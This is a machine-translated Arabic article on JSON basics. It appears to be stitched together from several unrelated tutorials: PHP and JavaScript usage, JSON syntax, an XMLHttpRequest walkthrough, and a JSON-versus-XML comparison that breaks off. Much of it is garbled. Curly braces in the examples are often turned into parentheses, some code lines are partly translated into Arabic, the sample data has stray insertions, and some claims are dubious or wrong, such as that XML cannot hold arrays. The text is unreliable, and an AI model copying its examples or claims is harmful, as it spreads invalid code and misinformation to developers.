فك تشفير الاختصار Json أساسيات العمل مع JSON. ما هو جسون

💖 هل يعجبك؟شارك الرابط مع أصدقائك

تعد المتغيرات والمصفوفات والكائنات شكلاً مألوفًا ومريحًا لتمثيل البيانات. من المعتاد وصف البيانات بلغة المتصفح JavaScript، وهو أمر غير ضروري في لغة خادم PHP. يتيح لك تنسيق JSON تلخيصها في وحدة واحدة وعدم التركيز على لغة البرمجة. في هذه الحالة، تتحول البيانات إلى أزواج: "الاسم = القيمة". يمكن أن تكون القيمة في كل منها أيضًا عبارة عن مجموعة من هذه الأزواج.

من المعتاد ربط JSON بالأقواس المتعرجة والأخير له ما يبرره تمامًا، نظرًا لأن تنسيق JSON = JavaScript Object Notation. لقد تغير الكثير في السنوات الأخيرة الديناميكية بشكل خاص. ما تم إنشاؤه لغرض معين غالبًا ما يؤدي إلى نتائج غير متوقعة أو يفتح آفاقًا جديدة.

تبادل البيانات: المتصفح - الخادم

أصبحت تقنية AJAX تحديثًا تقليديًا ومنتظمًا للصفحة تمامالم تعد تحظى بشعبية. يبدأ الزائر، الذي يفتح موقعًا، سلسلة من عمليات التبادل الجزئي للبيانات، عندما تتغير صفحات معينة فقط في المكان ذي الصلة.

من المعتقد أن ظهور JSON يرتبط باستخدام AJAX، ولكن في الواقع، فإن الارتباط الترابطي وترميز الكائنات الخاص به (ميزات بناء الجملة لوصف الكائنات واستخدامها) لهما علاقة أكثر ارتباطًا بـ JSON من تبادل البيانات بين المتصفح والخادم.

نظرًا لأن محتوى صفحات المواقع الحديثة أصبح حقًا "ضخمًا" (ضخمًا)، فقد اكتسبت كفاءة تنسيق تبادل البيانات أهمية خاصة. هذا لا يعني أن JSON أصبح تمثيلًا جديدًا للبيانات، ولكن حقيقة أنه كان منذ فترة طويلة عنصرًا في بناء جملة JavaScript أمر مهم.

يعد استخدام السيريلية في تسمية المتغيرات ظاهرة غير متوقعة للغاية (هراء)، ولكنها تعمل في أحدث إصدارات Chrome وFirefox وحتى Internet Explorer 11.

السيريلية وJSON

بالطبع، لا فائدة من استخدام هذه الظاهرة غير المتوقعة تمامًا، مع تذكر مدى سهولة تحول قيم المتغيرات المكتوبة بالحروف الروسية إلى رطانة: ماذا يمكننا أن نقول عن الأسماء، خاصة الخارجية منها.

من المشكوك فيه أن تكون مبادرة الأسماء السيريلية مدعومة بالبيئة الخارجية للمتصفح، والتي يتعين عليه التعامل معها باستمرار. لكن هذه الحقيقة تستحق الاهتمام لسبب بسيط وهو أن تنسيق JSON هو القدرة على كتابة الأسماء والقيم حسب رغبة المطور. هذا أمر مهم، لأنه في كل مهمة، فإن وصف منطقة التطبيق كما هو مطلوب يبسط تصحيح الأخطاء بشكل كبير ويقلل من عدد الأخطاء.

لا يهم بالضبط ما هو أساس الابتكار النحوي - JSON - فمن المهم أنه أعطى الحق القانوني والفرصة الحقيقية لتعيين المراسلات: "أي اسم = أي قيمة".

يجب أن نشيد بلغة جافا سكريبت: ما يقدمه بناء الجملة لا يلزم المطور ولا يفرض عليه أي شيء. يستخدم المطور بناء جملة اللغة بحرية لتشكيل نموذج بيانات وخوارزمية لاستخدامها على النحو الأمثل.

PHP وJSON

من خلال قبول البيانات بتنسيق JSON، يوفر الخادم (عبر PHP، على وجه الخصوص) القدرة على معالجتها كما هي وإعادة النتيجة مرة أخرى إلى المتصفح بتنسيق مماثل. مصفوفة مصدر PHP:

  • $cJSON = array ("a"=> "alfa"، "b"=> "beta"، "g"=> "gamma").

التحويل إلى JSON للتسليم إلى المتصفح:

  • $cJS = json_encode($cJSON).

نتيجة:

  • ("أ": "ألفا"، "ب": "بيتا"، "ز": "جاما").

التداخل الموضح في الصورة مسموح به.

هنا تمت إضافة المصفوفة التي تم إنشاؤها بعنصر جديد "في حد ذاته" باستخدام الفهرس التلقائي "0"، ثم مرة أخرى باستخدام الفهرس المحدد "z".

يقوم Json_decode() بتحويل سلسلة JSON إلى مصفوفة PHP. يمكن تحقيق نتائج مماثلة من خلال معالجة الوظائف والتفجير (). في بعض الحالات يكون هذا الخيار هو الأفضل.

مستوى التعشيش

يمكن أن تكون العناصر متداخلة على جانب المتصفح وعلى جانب الخادم. من الناحية العملية، يوفر تنسيق JSON (الوصف القياسي RFC 4627) أكثر من 4 مستويات من التداخل، ولكن لا ينبغي إساءة استخدام هذه الميزة.

من الأفضل عدم تجاوز الكفاية المعقولة أبدًا؛ فهذا يجعل التعليمات البرمجية قابلة للقراءة، مما يسهل تصحيح الأخطاء وفهمها للمطورين الآخرين.

يُشار إلى JSON عادةً على أنها بنيات بيانات أبسط من XML ومفهومة لكل من الأشخاص وأجهزة الكمبيوتر. وينطبق هذا عندما تكون كمية البيانات صغيرة ويكون المطور قد اختار مستوى التداخل بحكمة. في جميع الحالات الأخرى، يعد حساب عدد الأقواس وفهمها أمرًا صعبًا سواء من جانب المتصفح أو من جانب الخادم.

ملفات جيسون

غالبًا لا يقتصر استخدام JSON عمليًا على سلسلة قصيرة يمكن قراءتها بواسطة الإنسان. أي بناء للبيانات يكون دائمًا عمليًا. في الوقت نفسه، يمكن استخدام JSON بشكل فعال في بيانات المهمة الحقيقية (موظفي المؤسسة) وتنفيذ البيانات المؤقتة (ذاكرة التخزين المؤقت للكائن).

موظفو المؤسسة وتنسيق JSON: مثال

عادةً ما يكون السجل الخاص بشخص واحد عبارة عن اسم العائلة، والاسم الأول، واسم العائلة، وسنة الميلاد، والتخصص، والتعليم، ... وبعض القيم البسيطة الأخرى. حتى في الشركات المتطلبة بشكل خاص، لن يتجاوز الرقم القياسي لشخص واحد عشرات أو حقلين. هذا أمر ملموس ويمكن وضعه في سلسلة قاعدة بيانات.

إذا كانت الشركة توظف عدة أشخاص، فهذا شيء واحد، ولكن إذا كان هناك عشرات الآلاف، فهذا مختلف تمامًا. يمكنك الاستمرار في استخدام قاعدة البيانات، ولكن تخزينها كملف يبدو أكثر عملية وسهل الاستخدام.

JSON هو ملف نصي عادي. القضية مع جدول التوظيف غني عن القول. يمكنك دائما قراءتها. يتوفر الفتح والتحرير أيضًا في أي محرر نصوص ليس لديه عادة إضافة معلومات الخدمة الخاصة به إلى محتويات الملف. بشكل عام، *.json عبارة عن نص خالص سواء داخل المتصفح أو داخل الملف - سلسلة.

تُظهر الصورة ذاكرة التخزين المؤقت للكائن الذي يشكل الصورة، مثال.

وهذا مثال لمحتوى ملف تم إنشاؤه بواسطة موقع يوفر الطباعة الملونة ثلاثية الأبعاد على الأكواب والسيراميك. بطبيعة الحال، وجود مثل هذا التنسيق JSON، وتحديد كيفية فتحه هو مشكلة حقيقية. ومع ذلك، في هذه الحالات والحالات المشابهة، لا توجد مشاكل في قراءة الملف: تقوم PHP بقراءة الملف وتحليله وتمريره إلى المتصفح. يتم إرجاع البيانات التي قام الزائر بتغييرها إلى الخادم وإعادة كتابتها.

في حالة الاستخدام هذه، يعمل الملف كمتغير يتم تخزينه خارج التعليمات البرمجية. إذا لزم الأمر، يتلقى المتغير قيمة من الملف، وإذا تم تغييره من قبل الزائر في الحوار المقدم من الموقع، فسيتم تسجيل جميع التغييرات كما هي. ليست هناك حاجة لقراءة محتويات الملف والتحقق منها.

غالبًا ما يتم استخدام JSON لتخزين واستخدام معلومات الخدمة - وهذا ليس جدول توظيف، ولا يحتاج المطور ولا زائر الموقع إلى رؤيته.

XML وJSON

"هناك وقت لكل شيء" هي معرفة كلاسيكية مقبولة كبديهية حتى قبل ظهور البرمجة. "لا شيء يظهر فحسب" - حدث هذا أيضًا قبل أن يكتب الإنسان أول برنامج واضح بلغة اصطناعية.

تنشأ تنسيقات البيانات من احتياجات حقيقية وتستند إلى المعرفة المحققة. HTML له مساره الخاص، وXML له مساره الخاص، وJSON هو منطق كائن JavaScript ممتد إلى لغات أخرى. إن مقارنة أحدهما بالآخر ليس هو أفضل شيء يمكن القيام به. كل لوحده.

يتعامل XML مع مهامه بشكل رائع ومن الواضح أنه لن يصبح تاريخًا. وتم استخدام JSON حتى عام 2006، ولم يعتبر كل مطور أنه من واجبه الإعلان عن خيارات معينة لتمثيل بياناته.

كانت هناك حالات في الممارسة العملية عندما تمت كتابة البرامج بلغة BASIC ولم تستخدم JSON على هذا النحو، ولكنها خزنت أزواج "الاسم = القيمة" بشكل مثالي وجعلتها متاحة للخوارزميات الصحيحة في الوقت المناسب.

الأحرف الخاصة ("`"، "~"، "|"، ...) وتنسيقات البيانات

إن عادة العمل مع المصفوفات والكائنات الترابطية في JavaScript تجعل استخدام JSON أمرًا طبيعيًا ومريحًا. هذا تنسيق رائع حقًا، لكن القدرة على الفصل والربط ومعالجة السلاسل والمصفوفات لها جذور أعمق بكثير.

تسمح لك وظائف الانضمام/التقسيم للغة JavaScript والدمج/التجزئة للغة PHP باستخدام تنسيقات بيانات XML وJSON والإصدار الخاص بك بشكل مريح وفعال. غالبًا ما يكون الأخير هو الأمثل، في حين أن الأولين مثاليان لخيارات الاستخدام العام. إذا تم نقل المعلومات إلى مطور أو خادم أو ملف أو قاعدة بيانات أخرى، فلا توجد طريقة أفضل للعثور على XML وJSON. ويعمل الجميع معهم، وبالتالي فإن نقل/استقبال المعلومات لا يتطلب تعليقات.

باستخدام JSON في الروبوت

لا تعد قراءة البيانات وكتابتها بتنسيق JSON في Android هي القاعدة فحسب، بل هناك أيضًا العديد من الكائنات التي تركز على العمل باستخدام تنسيق البيانات هذا.

في هذه الحالة، يتم استخدام تنسيق JSON. قد يكون هذا صحيحًا، لكن السؤال لا يتعلق بظاهرة الشبكات الاجتماعية، بل بحقيقة أن تقديم المعلومات بتنسيق "الاسم = القيمة" مناسب حقًا للبرمجة والاستخدام. على عكس "XML" الصارم والمعقد، يعد هذا تنسيقًا صديقًا للإنسان حقًا.

المصفوفات الترابطية

يحدث ذلك أنه يجب وصف المتغيرات (JavaScript) أو على الأقل يجب تحديد قيمة أولية (PHP). وفي كلتا الحالتين يمكن للمتغير أن يغير نوعه بسهولة بالغة. تقوم اللغة بإجراء هذا التحويل تلقائيًا إذا لزم الأمر.

ولكن لماذا لا يغير المتغير اسمه أيضًا، ويظهر أثناء تنفيذ الخوارزمية، ويختفي عندما لا تكون هناك حاجة إليه؟ تحل المصفوفات الترابطية هذه المشكلة، ولكن عند استخدام مثل هذه المتغيرات الديناميكية نسبيًا، سيتبع اسم المصفوفة والبنيات النحوية المقابلة مكان استخدامها.

هذا الظرف واضح بشكل خاص في PHP، ولكن يمكنك تحمله، كما هو الحال بالفعل مع الرمز "$" في اسم المتغير والتركيبة "$this->" داخل الكائن. البرمجة بلغة JavaScript وPHP في نفس الوقت، في البداية ستندهش حقًا من مدى اختلاف كل شيء، ولكن بعد ذلك يصبح كل شيء مألوفًا وطبيعيًا...

المصفوفة النقابية -> JSON

في هذا المثال، تم إنشاء مستند *.docx باستخدام مكتبة PHPOffice/PHPWord، وتحتوي مجموعة aProperties على خصائص هذا المستند (المؤلف، الشركة، العنوان، الفئة، تاريخ الإنشاء...).

يحتوي المصفوفة الثانية على بيانات للصفحة:

  • الاتجاه (أفقي أو عادي) ؛
  • الأبعاد الرأسية والأفقية.
  • المسافات البادئة (الهوامش اليسرى، العلوية، السفلية، اليمنى)؛
  • الرؤوس والتذييلات.

يتم إنشاء المستند على الخادم حيث تم تثبيت مكتبة PHPOffice/PHPWord. يتيح لك الموقع إدارة قيم هذه المصفوفات باستخدام JavaScript. يتم إرجاع النتيجة بتنسيق JSON مرة أخرى إلى الخادم واستخدامها في خوارزميات PHP، في بنياتها، أي في المصفوفات.

المتغيرات الديناميكية

يحل تنسيق JSON مشكلة المتغيرات الديناميكية. هنا يمكنك إنشاء المتغيرات وتغييرها وحذفها دون حدوث فوضى نحوية غير ضرورية. يبدو جميلًا ويستخدم في JavaScript.

في هذا المثال، تقوم الدالة GetOjInfo() باسترداد اسم القيمة وقيمتها من كائن. في البداية، يحتوي كائن سلسلة JSON المخصص لمتغير ojInfo على ثلاثة عناصر: الاسم والعمر والعمل. وبعد ذلك بقليل يتم إضافة متغير الحالة.

بعد عامل الحذف الأول، يفقد سطر ojInfo عنصر العمر، وبعد الحذف الثاني يفقد عنصر العمل. إذا افترضنا أن هذه السلسلة عبارة عن مجموعة مختارة من المتغيرات التي لها معنى معين، فباستخدام JSON يمكنك بالفعل إنشاء وتغيير وحذف أي مجموعات منها خارج المجال التشغيلي (بناء الجملة) لوصف ومعالجة لغة JavaScript.

لم يتم تصميم تنسيق JSON لهذا الخيار، ولكنه ممكن وعملي ومريح.

JSON (JavaScript Object Notation) هو تنسيق لنقل البيانات. كما يوحي الاسم، يعتمد التنسيق على لغة برمجة جافا سكريبت، ولكنه متوفر أيضًا بلغات أخرى (Python، Ruby، PHP، Java).

يستخدم JSON الامتداد .json. عند استخدامها في تنسيقات ملفات أخرى (مثل .html)، يتم نقل سلسلة JSON أو تعيينها لمتغير. يتم نقل هذا التنسيق بسهولة بين خادم الويب والعميل أو المتصفح.

خفيف الوزن وسهل الفهم، JSON هو بديل رائع لـ XML.

سيقدم لك هذا البرنامج التعليمي الفوائد والكائنات والبنية العامة وبناء جملة JSON.

بناء جملة JSON وبنيتها

كائن JSON يكون في شكل قيمة مفتاح وعادة ما يكون مكتوبًا بين قوسين متعرجين. عند العمل مع JSON، يتم تخزين كافة الكائنات في ملف .json، ولكن يمكن أيضًا أن توجد ككائنات منفصلة في سياق البرنامج.

يبدو كائن JSON كما يلي:

"الاسم_الأول" : "جون"،
"اسم_العائلة" : "سميث"،
"الموقع" : "لندن"،
"أون لاين": صحيح،
"متابعين" : 987

هذا مثال بسيط جدا. يمكن أن يحتوي كائن JSON على عدة أسطر.

كما ترون، يتكون الكائن من أزواج قيمة مفتاحية محاطة بأقواس متعرجة. تتم كتابة معظم البيانات في JSON ككائنات.

يتم وضع نقطتين بين المفتاح والقيمة. بعد كل زوج تحتاج إلى وضع فاصلة. النتيجه هي:

"المفتاح": "القيمة"، "المفتاح": "القيمة"، "المفتاح": "القيمة"

مفتاح JSON موجود على اليسار. يجب وضع المفتاح بين علامتي اقتباس مزدوجتين. يمكن استخدام أي سلسلة صالحة كمفتاح. داخل كائن واحد، يجب أن تكون كافة المفاتيح فريدة من نوعها. قد يحتوي المفتاح على مسافة ("الاسم الأول")، ولكن قد تواجه البرمجة مشاكل في الوصول إلى مثل هذا المفتاح. لذلك، بدلاً من المسافة، من الأفضل استخدام الشرطة السفلية ("الاسم_الأول").

توجد قيم JSON على الجانب الأيمن من العمود. يمكن استخدام أي نوع بيانات بسيط كقيمة:

  • سلاسل
  • أعداد
  • أشياء
  • المصفوفات
  • البيانات المنطقية (صحيحة أو خاطئة)

يمكن أيضًا تمثيل القيم بأنواع بيانات معقدة (على سبيل المثال، الكائنات أو صفائف JSON).

يدعم JSON بناء الجملة الفردي لكل نوع من أنواع البيانات المذكورة أعلاه: إذا كانت القيمة ممثلة بسلسلة، فسيتم اقتباسها، ولكن إذا كانت رقمًا، فلن يتم ذلك.

عادة، تتم كتابة البيانات الموجودة في ملفات .json في عمود، ولكن يمكن أيضًا كتابة JSON في صف واحد:

( "first_name" : "John"، "last_name" : "Smith"، "online" : صحيح،)

هذه هي الطريقة التي تتم بها كتابة بيانات JSON عادةً إلى أنواع الملفات الأخرى.

من خلال كتابة بيانات JSON في عمود، يمكنك تحسين إمكانية قراءة الملف (خاصة إذا كان هناك الكثير من البيانات في الملف). يتجاهل JSON المسافات بين الأعمدة، بحيث يمكنك استخدامها لتقسيم بياناتك إلى عدد يمكن التحكم فيه من الأعمدة.

"الاسم_الأول" : "جون"،
"اسم_العائلة" : "سميث"،
«أون لاين»: صحيح

لاحظ أن كائنات JSON تشبه إلى حد كبير كائنات JavaScript، ولكنها ليست بنفس التنسيق. على سبيل المثال، يمكنك استخدام الوظائف في JavaScript، ولكن ليس في JSON.

الميزة الرئيسية لـ JSON هي أن البيانات بهذا التنسيق مدعومة بالعديد من لغات البرمجة الشائعة، لذلك يمكن نقلها بسرعة.

أنت الآن على دراية ببناء جملة JSON الأساسي. لكن يمكن أن تحتوي ملفات JSON على هياكل هرمية معقدة تتضمن صفائف وكائنات متداخلة.

الأنواع المعقدة في JSON

يمكن لـ JSON تخزين الكائنات والمصفوفات المتداخلة، والتي سيتم تمريرها كقيمة المفتاح المخصص لها.

الكائنات المتداخلة

ستجد أدناه مثالاً - ملف users.json الذي يحتوي على بيانات المستخدم. لكل مستخدم

("john"، "jesse"، "drew"، "jamie") يتم تمرير كائن متداخل كقيمة، والتي بدورها تتكون أيضًا من مفاتيح وقيم.

ملاحظة: يتم تمييز كائن JSON المتداخل الأول باللون الأحمر.

"جون" :(
"اسم المستخدم": "جون"،
"الموقع" : "لندن"،
"أون لاين": صحيح،
"متابعين" : 987

"جيسي" :(
"اسم المستخدم": "جيسي"،
"الموقع": "واشنطن"،
"على الإنترنت": كاذب،
"المتابعين": 432

"رسم" :(
"اسم المستخدم" : "درو"،
"الموقع": "باريس"،
"على الإنترنت": كاذب،
"المتابعين": 321

"جيمي" :(
"اسم المستخدم" : "جيمي"،
"الموقع": "برلين"،
"أون لاين": صحيح،
"المتابعين": 654

لاحظ أنه يتم استخدام الأقواس المتعرجة في كل من الكائن المتداخل والكائن الرئيسي. يتم استخدام الفواصل في الكائنات المتداخلة بنفس الطريقة المستخدمة في الكائنات العادية.

المصفوفات المتداخلة

يمكن دمج البيانات في JSON باستخدام صفائف JavaScript، والتي سيتم تمريرها كقيم. تستخدم JavaScript الأقواس المربعة () في بداية ونهاية المصفوفة. المصفوفة عبارة عن مجموعة مرتبة من البيانات التي يمكن أن تحتوي على أنواع مختلفة من البيانات.

يتم استخدام المصفوفة لنقل كمية كبيرة من البيانات التي يمكن تجميعها. على سبيل المثال، دعونا نحاول تسجيل بيانات المستخدم.

{
"الاسم_الأول" : "جون"،
"اسم_العائلة" : "سميث"،
"الموقع" : "لندن"،
"المواقع" : [

"الوصف": "العمل"،
"عنوان URL": "https://www.johnsmithsite.com/"

},
{

"الوصف" : "البرامج التعليمية"،
"عنوان URL": "https://www.johnsmithsite.com/tutorials"

"الوسائط_الاجتماعيه" : [

"الوصف": "تويتر"،
"الرابط": "https://twitter.com/johnsmith"

"الوصف": "الفيسبوك"،
"الرابط": "https://www.facebook.com/johnsmith"

"الوصف": "جيثب"،
"الرابط": "https://github.com/johnsmith"

يتم تعيين صفائف للمفاتيح "مواقع الويب" و"الوسائط الاجتماعية" كقيم، والتي يتم وضعها بين قوسين مربعين.

باستخدام المصفوفات والكائنات المتداخلة، يمكنك إنشاء تسلسل هرمي معقد للبيانات.

جسون أو XML؟

تتيح لك لغة XML (لغة الترميز الموسعة) تخزين البيانات في نموذج يسهل على البشر والآلات فهمه. يتم دعم تنسيق XML بواسطة عدد كبير من لغات البرمجة.

هناك الكثير من القواسم المشتركة بين XML وJSON. ومع ذلك، يتطلب XML نصًا أكبر بكثير، مما يعني أن هذه الملفات أكبر حجمًا وأكثر صعوبة في القراءة والكتابة. علاوة على ذلك، تتم معالجة XML فقط باستخدام مترجم XML، بينما يمكن معالجة JSON باستخدام وظيفة بسيطة. على عكس JSON، لا يمكن لـ XML تخزين المصفوفات.

دعونا نقارن ملفين: يحتويان على نفس البيانات، ولكن الأول مكتوب بتنسيق XML، والثاني بتنسيق JSON.

users.xml

جون لندن

جيسي واشنطن

درو باريس

جيمي برلين

users.json
("المستخدمون": [

("اسم المستخدم" : "جون"، "الموقع" : "لندن")،
("اسم المستخدم" : "جيسي"، "الموقع" : "واشنطن")،
("اسم المستخدم" : "درو"، "الموقع" : "باريس")،
("اسم المستخدم" : "JamieMantisShrimp"، "الموقع" : "برلين")

يعد JSON تنسيقًا مضغوطًا للغاية ولا يتطلب عددًا كبيرًا من العلامات مثل XML. بالإضافة إلى ذلك، XML، على عكس JSON، لا يدعم المصفوفات.

إذا كنت معتادًا على لغة HTML، ستلاحظ أن تنسيق XML مشابه جدًا له (خاصة العلامات). JSON أبسط، ويتطلب نصًا أقل، وأسهل في الاستخدام في تطبيقات AJAX، على سبيل المثال.

وبطبيعة الحال، يجب اختيار التنسيق حسب احتياجات التطبيق.

أدوات JSON

يُستخدم JSON بشكل شائع في JavaScript، لكن التنسيق يُستخدم على نطاق واسع في لغات البرمجة الأخرى.

يمكن العثور على مزيد من المعلومات حول توافق ومعالجة JSON على موقع المشروع ومكتبة jQuery.

من النادر كتابة JSON من الصفر. عادةً ما يتم تحميل البيانات من المصدر أو تحويلها إلى JSON. يمكنك تحويل بيانات CSV أو البيانات المحددة بعلامات جدولة إلى JSON باستخدام الأداة مفتوحة المصدر Mr. محول البيانات. لتحويل XML إلى JSON والعكس، استخدم utilities-online.info. عند العمل باستخدام الأدوات التلقائية، تأكد من التحقق من النتائج.

يمكن فحص ملفات JSON (بما في ذلك البيانات المحولة) باستخدام خدمة JSONLint. لاختبار JSON في سياق تطوير الويب، راجع JSFiddle.

خاتمة

JSON هو تنسيق بيانات بسيط وخفيف الوزن. تتميز ملفات JSON بسهولة النقل والتخزين والاستخدام.

اليوم يتم استخدام JSON غالبًا في واجهات برمجة التطبيقات.

JavaScript Object Notation (JSON) هو تنسيق نص قياسي لتمثيل البيانات المنظمة بناءً على بناء جملة كائن JavaScript. ويشيع استخدامه لنقل البيانات في تطبيقات الويب (على سبيل المثال، إرسال بعض البيانات من الخادم إلى العميل بحيث يمكن عرضها على صفحة ويب أو العكس). ستواجه هذا كثيرًا، لذا نقدم لك في هذه المقالة كل ما تحتاجه للعمل مع JSON باستخدام JavaScript، بما في ذلك تحليل JSON حتى تتمكن من الوصول إلى البيانات الموجودة بداخله وإنشاء JSON.

لا، حقا، ما هو JSON؟

سنقوم بتحميله إلى صفحتنا واستخدام بعض تقنيات DOM الرائعة لعرضه، مثل هذا:

تلقي JSON

لتلقي JSON، سنستخدم واجهة برمجة تطبيقات تسمى XMLHttpRequest (غالبًا ما تسمى XHR). يعد هذا كائن JavaScript مفيدًا جدًا حيث يسمح لنا بتقديم طلبات الشبكة لاسترداد الموارد من الخادم عبر JavaScript (مثل الصور والنص وJSON وحتى مقتطفات HTML)، مما يعني أنه يمكننا تحديث أقسام صغيرة من المحتوى دون الحاجة إلى إعادة تحميل الصفحة بأكملها . وقد أدى ذلك إلى ظهور صفحات ويب أكثر استجابة، كما يبدو مثيرًا، ولكنه للأسف خارج نطاق هذه المقالة لتدريسها بمزيد من التفصيل.

  • لنبدأ بحقيقة أننا سنقوم بتخزين عنوان URL لـ JSON الذي نريد استلامه في متغير. أضف كود JavaScript التالي: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  • لإنشاء طلب، نحتاج إلى إنشاء مثيل كائن طلب جديد من مُنشئ XMLHttpRequest باستخدام الكلمة الأساسية الجديدة. أضف ما يلي أدناه كسطر أخير: var request = new XMLHttpRequest();
  • نحتاج الآن إلى فتح طلب جديد باستخدام ملف . أضف السطر التالي: request.open("GET", requestURL);

    يتطلب هذا معلمتين على الأقل - هناك معلمات أخرى متاحة. نحتاج فقط إلى اثنين مطلوبين لهذا المثال البسيط:

    • طريقة HTTP المستخدمة عند تقديم طلب شبكة. هذه الحالة جيدة لأننا نقوم فقط باسترداد بعض البيانات البسيطة.
    • عنوان URL للطلب هو عنوان URL لملف JSON الذي حفظناه سابقًا.
  • ثم أضف السطرين التاليين: نقوم هنا بالإعداد على JSON حتى يعرف XHR أن الخادم سيرجع JSON وأنه يجب تحويله خلف الكواليس إلى كائن JavaScript. ثم نرسل الطلب باستخدام الطريقة: request.responseType = "json"; طلب إرسال()؛
  • يتضمن الجزء الأخير من هذا القسم انتظار رد الإرجاع من الخادم ثم التعامل معه. أضف الكود التالي أسفل الكود السابق: request.onload = function() ( var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); )
  • هنا نقوم بتخزين الرد على طلبنا (المتوفر في الخاصية) في المتغير superHeroes؛ سيحتوي هذا المتغير الآن على كائن JavaScript يعتمد على JSON! نقوم بعد ذلك بتمرير هذا الكائن إلى استدعاءين للوظيفة - الأول سيملأه بالبيانات الصحيحة، والثاني سينشئ بطاقة معلومات لكل بطل في الفريق ويدخلها في .

    قمنا بتغليف الكود في معالج حدث يتم إطلاقه عند إطلاق حدث التحميل على كائن الطلب (انظر) - وذلك لأن حدث التحميل يتم إطلاقه عند إرجاع الاستجابة بنجاح؛ إن القيام بذلك بهذه الطريقة يضمن أن request.response سيكون متاحًا بالتأكيد عندما نحاول القيام بشيء حيال ذلك.

    تعبئة الرأس

    لقد استخرجنا الآن بيانات JSON وحولناها إلى كائن JavaScript، فلنستفيد منها بكتابة الوظيفتين اللتين ربطناهما أعلاه. أولاً، أضف تعريف الوظيفة التالي أسفل الكود السابق:

    الوظيفة populateHeader(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; header.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "Hometown: " + jsonObj["homeTown"] + " // Formed: " + jsonObj["formed"]; header.appendChild(myPara); )

    قمنا بتسمية المعلمة jsonObj لتذكير أنفسنا بأن كائن JavaScript هذا نشأ من JSON. هنا نقوم أولاً بإنشاء عنصر باستخدام ، ونجعله مساويًا لخاصية SquadName للكائن، ثم نضيفه إلى الرأس باستخدام . نقوم بعد ذلك بإجراء عملية مشابهة جدًا مع الفقرة: نقوم بإنشائها، وتعيين محتوى النص الخاص بها، وإضافته إلى العنوان. والفرق الوحيد هو أن النص الخاص به محدد كسلسلة متسلسلة تحتوي على كل من homeTown والخصائص المشكلة للكائن.

    إنشاء بطاقات معلومات البطل

    ثم قم بإضافة الوظيفة التالية في الجزء السفلي من الكود الذي يقوم بإنشاء بطاقات الأبطال الخارقين وعرضها:

    وظيفة showHeroes(jsonObj) ( var Heroes = jsonObj["members"]; for (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

    أولاً، لنقم بتخزين خاصية الأعضاء لكائن JavaScript في متغير جديد. تحتوي هذه المصفوفة على عدة كائنات تحتوي على معلومات لكل بطل.

    نستخدم بعد ذلك للتكرار عبر كل كائن في المصفوفة. لكل واحد منهم نحن:

  • نقوم بإنشاء عدة عناصر جديدة: , , ثلاثة

    و

      .
    • تم ضبطه ليحتوي على اسم البطل الحالي.
    • املأ ثلاث فقرات بالهوية السرية والعمر وسطرًا يقول "القوى الخارقة:" لإدخال المعلومات في القائمة.
    • نقوم بتخزين خاصية القوى في متغير جديد آخر يسمى القوى العظمى - يحتوي هذا على مصفوفة تسرد القوى العظمى للبطل الحالي.
    • نستخدم حلقة for أخرى للتنقل عبر القوى العظمى للبطل الحالي - نقوم بإنشاء عنصر لكل واحد منهم
    • ، ضع القوى العظمى فيه، ثم ضع listItem داخل العنصر
        (myList) باستخدام appendChild() .
      • وآخر شيء نفعله هو إضافة،

        و

          داخل (myArticle) ثم قم بإضافته إلى ملف . يعد الترتيب الذي تتم به إضافة الأشياء أمرًا مهمًا، لأن هذا هو الترتيب الذي ستظهر به داخل HTML.

          ملحوظة: إذا كنت تواجه مشكلة في اتباع علامة النقطة/القوس التي نستخدمها للوصول إلى كائن JavaScript، فقد يكون من المفيد فتح ملف الأبطال الخارقين.json في علامة تبويب أخرى أو محرر نصوص والرجوع إليه عندما تنظر إلى JavaScript الخاص بنا. يمكنك أيضًا الرجوع إلى مقالتنا لمزيد من المعلومات حول تدوين النقطة والأقواس.

          التحويل بين الكائنات والنص

          كان المثال أعلاه بسيطًا من حيث الوصول إلى كائن JavaScript لأننا حددنا طلب XHR لتحويل استجابة JSON مباشرة إلى كائن JavaScript باستخدام .

          • ترجمة

          ملحوظة: فيما يلي ترجمة لمقالة المراجعة "JSON vs XML"، المخصصة لـ JSON ومقارنتها مع XML وفقًا لعدد من المعايير. تم نشره من أجل تعميم JSON بين قراء هبراهبر.

          JSON (JavaScript Object Notation) هو تنسيق لتبادل البيانات يسهل على الأشخاص قراءته ومعالجته وإنشاءه بواسطة البرامج.

          استنادًا إلى مجموعة فرعية من لغة JavaScript، الإصدار الثالث القياسي ECMA-262 - ديسمبر 1999.


          جيسون - ويكيبيديا

          ما هو تنسيق الاستجابة الصحيح لـ XMLHttpRequest في تطبيقات AJAX؟ بالنسبة لمعظم التطبيقات القائمة على العلامات، الإجابة بسيطة - (X)HTML. بالنسبة للتطبيقات التي تركز على المعلومات، سيكون الاختيار بين XML وJSON. حتى وقت قريب، لم أكن أتساءل حقًا ما هو الأفضل للاستخدام، XML أو JSON. لقد افترضت ببساطة أنه في كل حالة محددة كان الأمر يستحق اختيار التنسيق الأكثر ملاءمة، هذا كل شيء. لكن أتيحت لي الفرصة مؤخرًا لاختبار هذا النهج عمليًا. في هذا المنشور، سأصف المعايير التي قمت من خلالها بالمقارنة بين XML وJSON، بالإضافة إلى استنتاجاتي الخاصة.

          لذلك، المعايير هي كما يلي.

          • إمكانية قراءة الكود.
          • سهولة إنشاء كائن بيانات من جانب الخادم.
          • سهولة معالجة البيانات من جانب العميل.
          • من السهل التوسع.
          • تصحيح الأخطاء وتصحيح الأخطاء.
          • أمان.
          إمكانية قراءة الكود

